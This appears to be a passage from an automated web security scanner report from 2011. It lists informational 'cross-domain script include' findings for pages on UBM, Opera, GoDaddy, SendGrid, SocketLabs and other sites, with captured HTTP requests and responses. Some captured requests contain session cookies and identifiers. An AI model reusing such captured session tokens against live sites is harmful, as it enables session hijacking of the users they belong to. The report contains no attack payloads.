...<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">

<head>
<meta content="text/htm
...[SNIP]...
<link rel="stylesheet" href="/css/menu.css" type="text/css">
<script src="http://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js" type="text/javascript"></script>
...[SNIP]...

<script language="JavaScript" type="text/javascript" src="http://i.ubm-us.net/shared/omniture/ubm_h_s_code_remote.js"></script>
...[SNIP]...

16.12. http://media.ubm.com/news previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://media.ubm.com
Path:	/news

Issue detail

The response dynamically includes the following scripts from other domains:

http://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js
http://i.ubm-us.net/shared/omniture/ubm_h_s_code_remote.js

Request

GET /news HTTP/1.1
Host: media.ubm.com
Proxy-Connection: keep-alive
Referer: http://media.ubm.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utma=101304133.2104120162.1316209479.1316209479.1316209479.1; __utmb=101304133.6.10.1316209479; __utmc=101304133; __utmz=101304133.1316209479.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=timm988to1bk4j35fe2lc91p90; s_cc=true; __utma=20806436.44174265.1316209563.1316209563.1316209563.1; __utmb=20806436.1.10.1316209563; __utmc=20806436; __utmz=20806436.1316209563.1.1.utmcsr=ubm.com|utmccn=(referral)|utmcmd=referral|utmcct=/en/people/jobshop.aspx; s_nr=1316209567014; s_lv=1316209567014; s_lv_s=First%20Visit; us_ubm_aut=8-2; s_sq=cmpglobalvista%3D%2526pid%253DUBM%252520-%252520MediaRoom%2526pidt%253D1%2526oid%253Dhttp%25253A//media.ubm.com/news%2526ot%253DA

Response

HTTP/1.1 200 OK
Date: Fri, 16 Sep 2011 16:45:22 GMT
Server: Apache
X-Powered-By: PHP/5.1.6
Content-Base: http://media.ubm.com/index.php
Content-Type: text/html; charset=UTF-8
Content-Length: 39829

...<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">

<head>

<script language="JavaScript" type="text/javascript" src="http://i.ubm-us.net/shared/omniture/ubm_h_s_code_remote.js"></script>
...[SNIP]...

16.13. http://my.opera.com/community/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://my.opera.com
Path:	/community/

Issue detail

The response dynamically includes the following script from another domain:

http://static.myopera.com/community/js/cookies-min.js

Request

GET /community/ HTTP/1.1
Host: my.opera.com
Proxy-Connection: keep-alive
Referer: http://www.opera.com/company/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utma=122269525.1534674535.1316207960.1316207960.1316207960.1; __utmb=122269525.3.10.1316207960; __utmc=122269525; __utmz=122269525.1316207960.1.1.utmcsr=unite.opera.com|utmccn=(referral)|utmcmd=referral|utmcct=/application/192/

Response

HTTP/1.1 200 OK
Server: nginx
Content-Type: text/html; charset=UTF-8
X-MyO-Request: 1316189871.myo.cDoyNzowNzowMA==
Content-Length: 14221
X-My-Opera: http://youtube.com/watch?v=br79xGSpgF4
X-UA: SAFARI
X-Mobile: false
X-Language: en
Vary: Accept-Encoding, X-Language, X-UA, X-Mobile
Date: Fri, 16 Sep 2011 16:19:12 GMT
X-Varnish: 1013174961 1013155824
Age: 81
Via: 1.1 varnish
Connection: keep-alive
X-Hits: 8
X-Cache: hit

<!DOCTYPE html>
<html lang="en">
<head>
<meta http-equiv="content-type" content="text/html; charset=utf-8">
<meta name="google-site-verification" content="L7q_7GF5c9d7ZAUYdfaTiRaB6sTAGv_cRz3nq5DsabM">
...[SNIP]...
</div>
<script type="text/javascript" src="http://static.myopera.com/community/js/cookies-min.js"></script>
...[SNIP]...

16.14. https://my.opera.com/community/signup/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://my.opera.com
Path:	/community/signup/

Issue detail

The response dynamically includes the following scripts from other domains:

https://static.myopera.com/community/js/lib/opera-driver-yui-min.js
https://static.myopera.com/community/js/lib/opera-min.js
https://static.myopera.com/community/js/lib/yui/build/selector/selector-min.js
https://static.myopera.com/community/js/lib/yui/build/yuiloader-dom-event/yuiloader-dom-event-min.js
https://www.google.com/recaptcha/api/challenge?k=6LfnuAYAAAAAAJ_9S1HZ8qxfs145BrjYjzec1yjC

Request

Response

16.15. https://mya.godaddy.com/Default.aspx previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://mya.godaddy.com
Path:	/Default.aspx

Issue detail

The response dynamically includes the following scripts from other domains:

https://img1.wsimg.com/AtlantisScripts/jquery/jquery-1.3.2.min.js
https://img1.wsimg.com/fastball/js_lib/FastballLibrary0005.js?version=1
https://img1.wsimg.com/mya/scripts/jquery-ui-scripts2.min.js
https://img1.wsimg.com/mya/scripts/jquery.stylish-select3.min.js
https://img1.wsimg.com/mya/scripts/json-popin2.js?version=1
https://img1.wsimg.com/mya/scripts/mya-master-script2.min.js
https://img3.wsimg.com/pc/js/1/gd_js_20110817.min.js

Request

Response

16.16. https://mya.godaddy.com/myrenewals/myRenewals.aspx previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://mya.godaddy.com
Path:	/myrenewals/myRenewals.aspx

Issue detail

The response dynamically includes the following scripts from other domains:

https://img1.wsimg.com/AtlantisScripts/jquery/jquery-1.3.2.min.js
https://img1.wsimg.com/fastball/js_lib/FastballLibrary0005.js?version=1
https://img1.wsimg.com/mya/scripts/jquery-ui-scripts2.min.js
https://img1.wsimg.com/mya/scripts/jquery.ui.datepicker.min.js
https://img1.wsimg.com/mya/scripts/json-popin2.js?version=1
https://img1.wsimg.com/mya/scripts/mya-master-script2.min.js
https://img3.wsimg.com/pc/js/1/gd_js_20110817.min.js

Request

Response

16.17. http://portal.opera.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://portal.opera.com
Path:	/

Issue detail

The response dynamically includes the following scripts from other domains:

http://pagead2.googlesyndication.com/pagead/show_ads.js
http://ws.amazon.com/widgets/q?rt=tf_sw&ServiceVersion=20070822&MarketPlace=US&ID=V20070822/US/opera-20/8002/238229ae-452b-41fb-b7b3-1913a7cb0733

Request

Response

16.18. http://portal.opera.com/portal/tabs/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://portal.opera.com
Path:	/portal/tabs/

Issue detail

The response dynamically includes the following scripts from other domains:

http://pagead2.googlesyndication.com/pagead/show_ads.js
http://ws.amazon.com/widgets/q?rt=tf_sw&ServiceVersion=20070822&MarketPlace=US&ID=V20070822/US/opera-20/8002/238229ae-452b-41fb-b7b3-1913a7cb0733

Request

Response

16.19. http://powermta1.com/wp-content/plugins/cforms/js/cforms.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://powermta1.com
Path:	/wp-content/plugins/cforms/js/cforms.js

Issue detail

The response dynamically includes the following scripts from other domains:

http://as.casalemedia.com/sd?s=95308&f=1
http://pagead2.googlesyndication.com/apps/domainpark/show_afd_ads.js

Request

Response

16.20. http://powermta1.com/wp-content/plugins/cforms/styling/sidebar-layout.css previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://powermta1.com
Path:	/wp-content/plugins/cforms/styling/sidebar-layout.css

Issue detail

The response dynamically includes the following scripts from other domains:

http://as.casalemedia.com/sd?s=95308&f=1
http://pagead2.googlesyndication.com/apps/domainpark/show_afd_ads.js

Request

Response

16.21. http://seg.sharethis.com/getSegment.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://seg.sharethis.com
Path:	/getSegment.php

Issue detail

The response dynamically includes the following script from another domain:

http://www.googleadservices.com/pagead/conversion.js

Request

Response

HTTP/1.1 200 OK
Server: nginx/0.8.47
Date: Fri, 16 Sep 2011 15:29:20 GMT
Content-Type: text/html
Connection: keep-alive
X-Powered-By: PHP/5.3.3
P3P: "policyref="/w3c/p3p.xml", CP="ALL DSP COR CURa ADMa DEVa TAIa PSAa PSDa OUR IND UNI COM NAV INT DEM"
Content-Length: 4781

           <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
           <html>
           <head>
           <meta http-equiv="Content-type" content="text/html;charset=UTF-8">

...[SNIP]...
</script>
                   <script type="text/javascript" src="http://www.googleadservices.com/pagead/conversion.js"></script>
...[SNIP]...
</script>
                   <script type="text/javascript" src="http://www.googleadservices.com/pagead/conversion.js"></script>
...[SNIP]...
</script>
                   <script type="text/javascript" src="http://www.googleadservices.com/pagead/conversion.js"></script>
...[SNIP]...
</script>
                   <script type="text/javascript" src="http://www.googleadservices.com/pagead/conversion.js"></script>
...[SNIP]...
</script>
                   <script type="text/javascript" src="http://www.googleadservices.com/pagead/conversion.js"></script>
...[SNIP]...
</script>
                   <script type="text/javascript" src="http://www.googleadservices.com/pagead/conversion.js"></script>
...[SNIP]...
</script>
                   <script type="text/javascript" src="http://www.googleadservices.com/pagead/conversion.js"></script>
...[SNIP]...

16.22. http://sendgrid.com/features previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://sendgrid.com
Path:	/features

Issue detail

The response dynamically includes the following scripts from other domains:

http://d2gramajkvysi4.cloudfront.net/js/new/placeholders.gz.js?r=1309887505
http://edge.quantserve.com/quant.js
https://s3.amazonaws.com/static.sendgrid.com/jquery/1.4.4/jquery.min.js
https://s3.amazonaws.com/static.sendgrid.com/jqueryui/1.8.6/jquery-ui.min.js

Request

GET /features HTTP/1.1
Host: sendgrid.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __pcid=9GFPhk:1; __ptca=111872475.dUUOzxbhAvTn.1316222838.1316222838.1316222838.1; __ptv_0a6gTR=dUUOzxbhAvTn; __pti_0a6gTR=dUUOzxbhAvTn; __ptcc=1; __ptcs=111872475.1.10.1316222838; __ptcz=111872475.1316222838.1.0.ptmcsr=google|ptmcmd=organic|ptmccn=(organic)|ptmctr=smtp+server|ptmcex=9GFPhk.3Gp89g.1|ptmcx2=9GFPhk.3Gp89g.1; symfony=2620e59692610735faaba9cd7ccd2c6f:85ae52515893387e57b673877b205ea2bae4ed49; __qca=P0-572909897-1316204950437; _mkto_trk=id:467-KXI-123&token:_mch-sendgrid.com-1316204836485-43033; __utma=111872475.871024225.1316204951.1316204951.1316204951.1; __utmb=111872475.1.10.1316204951; __utmc=111872475; __utmz=111872475.1316204951.1.1.utmgclid=CPWo1PSJoqsCFRRSgwod8HVslQ|utmccn=(not%20set)|utmcmd=(not%20set); SnapABugRef=http%3A%2F%2Fsendgrid.com%2Fpricing.html%3Fgclid%3DCPWo1PSJoqsCFRRSgwod8HVslQ%20http%3A%2F%2Flanding.sendgrid.com%2Fsmtp-with-bullet-points%2F%3Fgclid%3DCPWo1PSJoqsCFRRSgwod8HVslQ; SnapABugHistory=1#; SnapABugVisit=8d68486b-56f8-4224-9862-8ffa3106ecfb-578112706076353; km_ai=n1EPXU78Lr4accy0ZIHA%2Fx7iGbI%3D; km_lv=1316204954; km_uq=; _chartbeat2=al0oan3xoujtpzgt.1316204955548

Response

HTTP/1.1 200 OK
Server: nginx/0.7.65
Date: Fri, 16 Sep 2011 15:32:27 GMT
Content-Type: text/html; charset=utf-8
Connection: keep-alive
X-Powered-By: PHP/5.3.2-1ubuntu4.9
Cache-Control: private
Vary: Accept-Encoding
Content-Length: 25132

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>

...[SNIP]...
</script>

<script type="text/javascript" src="https://s3.amazonaws.com/static.sendgrid.com/jquery/1.4.4/jquery.min.js"></script>
<script type="text/javascript" src="https://s3.amazonaws.com/static.sendgrid.com/jqueryui/1.8.6/jquery-ui.min.js"></script>
...[SNIP]...
</div>

<script type="text/javascript" src="http://d2gramajkvysi4.cloudfront.net/js/new/placeholders.gz.js?r=1309887505"></script>
...[SNIP]...
</script>
<script type="text/javascript" src="http://edge.quantserve.com/quant.js"></script>
...[SNIP]...

16.23. http://sendgrid.com/pricing.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://sendgrid.com
Path:	/pricing.html

Issue detail

The response dynamically includes the following scripts from other domains:

http://d2gramajkvysi4.cloudfront.net/js/new/placeholders.gz.js?r=1309887505
http://edge.quantserve.com/quant.js
https://s3.amazonaws.com/static.sendgrid.com/jquery/1.4.4/jquery.min.js
https://s3.amazonaws.com/static.sendgrid.com/jqueryui/1.8.6/jquery-ui.min.js

Request

Response

16.24. https://sendgrid.com/user/signup/package/44 previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://sendgrid.com
Path:	/user/signup/package/44

Issue detail

The response dynamically includes the following scripts from other domains:

https://s3.amazonaws.com/static.sendgrid.com/jquery/1.4.4/jquery.min.js
https://s3.amazonaws.com/static.sendgrid.com/jqueryui/1.8.6/jquery-ui.min.js
https://s3.amazonaws.com/static.sendgrid.com/js/ext/activeTab.gz.js?r=1309887444
https://s3.amazonaws.com/static.sendgrid.com/js/ext/sgDateRange.gz.js?r=1316132376
https://s3.amazonaws.com/static.sendgrid.com/js/ext/sgTable.gz.js?r=1316132376
https://s3.amazonaws.com/static.sendgrid.com/js/ext/spamReports.gz.js?r=1309887451
https://s3.amazonaws.com/static.sendgrid.com/js/jquery.fadetransition.gz.js?r=1309888008
https://s3.amazonaws.com/static.sendgrid.com/js/jquery.showpassword.min.gz.js?r=1309887513
https://s3.amazonaws.com/static.sendgrid.com/js/new/main.gz.js?r=1309887506
https://s3.amazonaws.com/static.sendgrid.com/js/new/placeholders.gz.js?r=1309887505
https://s3.amazonaws.com/static.sendgrid.com/js/sg.gz.js?r=1315865266

Request

Response

HTTP/1.1 200 OK
Server: nginx/0.7.65
Date: Fri, 16 Sep 2011 15:31:10 GMT
Content-Type: text/html; charset=utf-8
Connection: keep-alive
X-Powered-By: PHP/5.3.2-1ubuntu4.9
Cache-Control: private
Vary: Accept-Encoding
Content-Length: 42819

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>

...[SNIP]...
</script>

<script type="text/javascript" src="https://s3.amazonaws.com/static.sendgrid.com/jquery/1.4.4/jquery.min.js"></script>
<script type="text/javascript" src="https://s3.amazonaws.com/static.sendgrid.com/jqueryui/1.8.6/jquery-ui.min.js"></script>
...[SNIP]...
</div>

<script type="text/javascript" src="https://s3.amazonaws.com/static.sendgrid.com/js/new/placeholders.gz.js?r=1309887505"></script>
<script type="text/javascript" src="https://s3.amazonaws.com/static.sendgrid.com/js/new/main.gz.js?r=1309887506"></script>
<script type="text/javascript" src="https://s3.amazonaws.com/static.sendgrid.com/js/jquery.fadetransition.gz.js?r=1309888008"></script>
<script type="text/javascript" src="https://s3.amazonaws.com/static.sendgrid.com/js/sg.gz.js?r=1315865266"></script>
<script type="text/javascript" src="https://s3.amazonaws.com/static.sendgrid.com/js/ext/activeTab.gz.js?r=1309887444"></script>
<script type="text/javascript" src="https://s3.amazonaws.com/static.sendgrid.com/js/ext/sgTable.gz.js?r=1316132376"></script>
<script type="text/javascript" src="https://s3.amazonaws.com/static.sendgrid.com/js/ext/spamReports.gz.js?r=1309887451"></script>
<script type="text/javascript" src="https://s3.amazonaws.com/static.sendgrid.com/js/ext/sgDateRange.gz.js?r=1316132376"></script>
...[SNIP]...
</script>
<script type="text/javascript" src="https://s3.amazonaws.com/static.sendgrid.com/js/jquery.showpassword.min.gz.js?r=1309887513"></script>
...[SNIP]...

16.25. https://support.socketlabs.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://support.socketlabs.com
Path:	/

Issue detail

The response dynamically includes the following script from another domain:

https://ajax.aspnetcdn.com/ajax/jquery.templates/beta1/jquery.tmpl.min.js

Request

Response

16.26. https://support.socketlabs.com/index.php/Base/User/Login previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://support.socketlabs.com
Path:	/index.php/Base/User/Login

Issue detail

The response dynamically includes the following script from another domain:

https://ajax.aspnetcdn.com/ajax/jquery.templates/beta1/jquery.tmpl.min.js

Request

POST /index.php/Base/User/Login HTTP/1.1
Host: support.socketlabs.com
Connection: keep-alive
Referer: https://support.socketlabs.com/
Content-Length: 91
Cache-Control: max-age=0
Origin: https://support.socketlabs.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: wooTracker=U1NI3DMK2PFIBO4BHUYTYMWQTGG1A999; wooMeta=ODUwNjQmMSYyJjI4OTYxOSYxMzE2MTg2Nzk5NDEwJjEzMTYxODcwODkwMjgmaHR0cCUzQSUyRiUyRnd3dy5nb29nbGUuY29tJTJGc2VhcmNoJTNGc291cmNlaWQlM0RjaHJvbWUlMjZpZSUzRFVURi04JTI2cSUzRHNtdHAlMkJzZXJ2ZXImMTAxJnNtdHArc2VydmVyJjUwMDI1OSYmJiY=; SWIFT_client=a%3A1%3A%7Bs%3A15%3A%22templategroupid%22%3Bs%3A1%3A%221%22%3B%7D; SWIFT_sessionid40=es1qz018py0u704q2o1k7083rf1lm0bf

_redirectAction=%2FKnowledgebase%2FHomeIndex%2FIndex&scemail=Your+email+address&scpassword=

Response

HTTP/1.1 200 OK
Date: Fri, 16 Sep 2011 15:22:21 GMT
Server: Apache
X-Powered-By: PHP/5.3.3-1ubuntu9.1
Vary: Accept-Encoding
Content-Length: 17078
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Type: text/html
X-Pad: avoid browser bug

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html lang="en" xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta name="auth
...[SNIP]...
</script>
<script type="text/javascript" src="https://ajax.aspnetcdn.com/ajax/jquery.templates/beta1/jquery.tmpl.min.js"></script>
...[SNIP]...

16.27. https://support.socketlabs.com/index.php/Base/UserRegistration/Register previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://support.socketlabs.com
Path:	/index.php/Base/UserRegistration/Register

Issue detail

The response dynamically includes the following scripts from other domains:

https://ajax.aspnetcdn.com/ajax/jquery.templates/beta1/jquery.tmpl.min.js
https://www.google.com/recaptcha/api/js/recaptcha_ajax.js

Request

GET /index.php/Base/UserRegistration/Register HTTP/1.1
Host: support.socketlabs.com
Connection: keep-alive
Referer: https://support.socketlabs.com/index.php/Base/User/Login
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: wooTracker=U1NI3DMK2PFIBO4BHUYTYMWQTGG1A999; wooMeta=ODUwNjQmMSYyJjI4OTYxOSYxMzE2MTg2Nzk5NDEwJjEzMTYxODcwODkwMjgmaHR0cCUzQSUyRiUyRnd3dy5nb29nbGUuY29tJTJGc2VhcmNoJTNGc291cmNlaWQlM0RjaHJvbWUlMjZpZSUzRFVURi04JTI2cSUzRHNtdHAlMkJzZXJ2ZXImMTAxJnNtdHArc2VydmVyJjUwMDI1OSYmJiY=; SWIFT_client=a%3A1%3A%7Bs%3A15%3A%22templategroupid%22%3Bs%3A1%3A%221%22%3B%7D; SWIFT_sessionid40=es1qz018py0u704q2o1k7083rf1lm0bf

Response

HTTP/1.1 200 OK
Date: Fri, 16 Sep 2011 15:22:27 GMT
Server: Apache
X-Powered-By: PHP/5.3.3-1ubuntu9.1
Vary: Accept-Encoding
Content-Length: 18435
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Type: text/html
X-Pad: avoid browser bug

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html lang="en" xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta name="auth
...[SNIP]...
</script>
<script type="text/javascript" src="https://ajax.aspnetcdn.com/ajax/jquery.templates/beta1/jquery.tmpl.min.js"></script>
...[SNIP]...
</div>
<script type="text/javascript" src="https://www.google.com/recaptcha/api/js/recaptcha_ajax.js"></script>
...[SNIP]...

16.28. https://support.socketlabs.com/index.php/Base/UserRegistration/RegisterSubmit previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://support.socketlabs.com
Path:	/index.php/Base/UserRegistration/RegisterSubmit

Issue detail

The response dynamically includes the following scripts from other domains:

https://ajax.aspnetcdn.com/ajax/jquery.templates/beta1/jquery.tmpl.min.js
https://www.google.com/recaptcha/api/js/recaptcha_ajax.js

Request

POST /index.php/Base/UserRegistration/RegisterSubmit HTTP/1.1
Host: support.socketlabs.com
Connection: keep-alive
Referer: https://support.socketlabs.com/index.php/Base/UserRegistration/Register
Content-Length: 630
Cache-Control: max-age=0
Origin: https://support.socketlabs.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryKmcBgFc5dd4a1T1r
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: wooTracker=U1NI3DMK2PFIBO4BHUYTYMWQTGG1A999; wooMeta=ODUwNjQmMSYyJjI4OTYxOSYxMzE2MTg2Nzk5NDEwJjEzMTYxODcwODkwMjgmaHR0cCUzQSUyRiUyRnd3dy5nb29nbGUuY29tJTJGc2VhcmNoJTNGc291cmNlaWQlM0RjaHJvbWUlMjZpZSUzRFVURi04JTI2cSUzRHNtdHAlMkJzZXJ2ZXImMTAxJnNtdHArc2VydmVyJjUwMDI1OSYmJiY=; SWIFT_client=a%3A1%3A%7Bs%3A15%3A%22templategroupid%22%3Bs%3A1%3A%221%22%3B%7D; SWIFT_sessionid40=es1qz018py0u704q2o1k7083rf1lm0bf

------WebKitFormBoundaryKmcBgFc5dd4a1T1r
Content-Disposition: form-data; name="fullname"

------WebKitFormBoundaryKmcBgFc5dd4a1T1r
Content-Disposition: form-data; name="regemail"

------WebK
...[SNIP]...

Response

HTTP/1.1 200 OK
Date: Fri, 16 Sep 2011 15:22:35 GMT
Server: Apache
X-Powered-By: PHP/5.3.3-1ubuntu9.1
Vary: Accept-Encoding
Content-Length: 19451
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Type: text/html
X-Pad: avoid browser bug

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html lang="en" xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta name="auth
...[SNIP]...
</script>
<script type="text/javascript" src="https://ajax.aspnetcdn.com/ajax/jquery.templates/beta1/jquery.tmpl.min.js"></script>
...[SNIP]...
</div>
<script type="text/javascript" src="https://www.google.com/recaptcha/api/js/recaptcha_ajax.js"></script>
...[SNIP]...

16.29. http://t.tellapart.com/hif previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://t.tellapart.com
Path:	/hif

Issue detail

The response dynamically includes the following script from another domain:

http://www.googleadservices.com/pagead/conversion.js

Request

GET /hif?p=vobmfNYCXJkpXrtb_UNRwyPDtCMLAAEAAAAQ8VfMRuCtWlGZKHGOFgAdYAsAAgAAABDBNWrL_D1gZ_QvSD7Ubh68CgADAAABMnMTUeAPAAQLAAAABAAAAAI5OQAAAAI3NQAAAAI3NAAAAAMxMDULAAUAAAAMZ01JVlhQT2pId09LAA==&tms=1316208686167 HTTP/1.1
Host: t.tellapart.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.drugstore.com/
Cookie: drapt=ABJeb18jY0mSx9O1GhjWGagkBZ8cNX0k4oxPsv8LF9nJWKu12mbgkeBMt_o6CvAURFeGEBSF8UxpLeFjWV5Q2eOlAeV7yVQxxfhVQ6n7tXCCk-3AaAr-3DeDS9cBGOjMik-CONnHvyl4pD3SI4onQ1Vx5D2OKkZQcrsaYTa28GPXtJ-72-twAilquinwVbDX2VnkhBOx2C9B; __cmbGU=ABJeb1_3NV-wS9CA4xNFiv3ShLSU4iGgty4u6k9WHsPFv60ohMiFdyhiaxwr6ZVfLN137aUZJTCXZJufx_taXD_Nnqj8E6TcGg; AWSELB=E31F5987121C4E93C56CFAE300CB3FAA8458B8275ED54EFB1FBFC3259C68A4A477202DDBEDB9857088204A944F7B0E0B304C51662855C88DA4DD00256DCA9F810994CC9BEC

Response

16.30. http://thehackernews.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://thehackernews.com
Path:	/

Issue detail

The response dynamically includes the following scripts from other domains:

http://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js
http://apis.google.com/js/plusone.js
http://connect.facebook.net/en_US/all.js
http://feeds.feedburner.com/TheHackersNews?format=sigpro
http://platform.twitter.com/widgets.js
http://s7.addthis.com/js/250/addthis_widget.js
http://static.ak.fbcdn.net/connect.php/js/FB.Share
http://tweetmeme.com/i/scripts/button.js
http://widgetsplus.com/google_plus_widget.js
http://www.blogger.com/static/v1/widgets/931580185-widgets.js
http://xslt.alexa.com/site_stats/js/s/a?url=http://www.thehackernews.com
https://apis.google.com/js/plusone.js

Request

GET / HTTP/1.1
Host: thehackernews.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
Expires: Fri, 16 Sep 2011 17:54:34 GMT
Date: Fri, 16 Sep 2011 17:54:34 GMT
Cache-Control: private, max-age=0
Last-Modified: Fri, 16 Sep 2011 17:50:54 GMT
ETag: "55a56cd2-1aee-4205-a042-2456f7bca899"
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Content-Length: 130936
Server: GSE

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html dir='ltr' xmlns='http://www.w3.org/1999/xhtml' xmlns:b='http://www.google.com/2005/g
...[SNIP]...
</style>
<script src='http://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js' type='text/javascript'></script>
...[SNIP]...
</style>
<script src='http://apis.google.com/js/plusone.js' type='text/javascript'> {lang: 'en-US'} </script>
...[SNIP]...
</script>
<script src='https://apis.google.com/js/plusone.js' type='text/javascript'>
</script>
...[SNIP]...
</a>
<script src='http://platform.twitter.com/widgets.js' type='text/javascript'/>
<script src="http://connect.facebook.net/en_US/all.js#appId=214086668642393&xfbml=1">
...[SNIP]...
<div class='widget-content'>
<script src="http://connect.facebook.net/en_US/all.js#xfbml=1"></script>
...[SNIP]...
</a>
<script src='http://static.ak.fbcdn.net/connect.php/js/FB.Share' type='text/javascript'></script>
...[SNIP]...
</script>
<script src='http://tweetmeme.com/i/scripts/button.js' type='text/javascript'>
</script>
...[SNIP]...
</a>
<script src='http://static.ak.fbcdn.net/connect.php/js/FB.Share' type='text/javascript'></script>
...[SNIP]...
</script>
